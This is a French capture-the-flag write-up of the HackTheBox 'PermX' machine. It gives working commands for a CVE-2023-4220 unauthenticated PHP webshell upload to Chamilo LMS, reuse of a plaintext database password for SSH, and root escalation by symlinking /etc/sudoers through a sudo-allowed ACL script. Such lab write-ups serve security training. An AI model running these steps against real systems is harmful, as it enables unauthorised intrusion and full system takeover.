← Retour au carnet HTB · Linux · Easy · n°05

PermX

Chamilo LMS vulnérable à un upload non authentifié (CVE-2023-4220). Escalade via une mauvaise config sudo sur un script ACL avec symlinks.

Date
24 oct. 2024
IP
10.10.11.23
OS
Ubuntu 22.04
Plateforme
HackTheBox
Chamilo LMSCVE-2023-4220File UploadRCEACL sudoLinux
Easy
↳ lire les fichiers de conf avant de chercher une CVE.
i.

Reconnaissance & subdomain fuzzing.

Ports 22 et 80 ouverts. Le site redirige vers permx.htb. Fuzzing du header Host révèle lms.permx.htb, une instance Chamilo LMS.

ffuf -w subdomains-top100000.txt:FUZZ \
  -u http://permx.htb/ -H 'Host: FUZZ.permx.htb' -t 200 -fw 18
# → lms.permx.htb (Chamilo LMS)
Chamilo LMS découvert sur lms.permx.htb. Vulnérable à CVE-2023-4220 (CVSS 9.8).
ii.

CVE-2023-4220 : upload non authentifié.

Le script bigUpload.php ne valide pas les extensions. Upload direct d'un webshell PHP sans authentification.

echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -F 'bigUploadFile=@shell.php' \
  'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
# Exécution : http://lms.permx.htb/.../files/shell.php?cmd=id
Reverse shell www-data obtenu. Fichier de config Chamilo : /var/www/chamilo/app/config/configuration.php → password DB en clair.
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';

Réutilisation du mot de passe → SSH avec mtz.

iii.

Symlink → sudoers.

sudo -l révèle : (ALL:ALL) NOPASSWD: /opt/acl.sh. Le script applique des ACL sur des fichiers dans /home/mtz, mais ne vérifie pas les liens symboliques.

# Créer un symlink vers /etc/sudoers depuis /home/mtz
ln -s /etc/sudoers /home/mtz/root
# Donner les droits d'écriture via le script vulnérable
sudo /opt/acl.sh mtz rw /home/mtz/root
# Écrire dans sudoers via le symlink
echo "mtz ALL=(ALL:ALL) NOPASSWD: ALL" >> /home/mtz/root
sudo bash  # root
root@permx obtenu. Flags : /home/mtz/user.txt · /root/root.txt

Chaîne d'attaque.

1
Subdomain fuzzing
permx.htb → lms.permx.htb (Chamilo LMS)
2
CVE-2023-4220
Upload non-auth bigUpload.php → webshell
3
Pivot SSH
DB config → plaintext creds → SSH mtz
4
Analyse sudo
sudo /opt/acl.sh → setfacl sans check symlink
5
Escalade
ln -s /etc/sudoers → ACL write → sudo bash → root
Note terrain

CVE-2023-4220 est un exemple parfait de vulnérabilité de type "upload sans filtre", un vecteur classique qui reste pertinent dans les pentests d'applications LMS. Le vrai apprentissage vient du pivot : lire les fichiers de configuration et tester la réutilisation des credentials avant d'aller plus loin.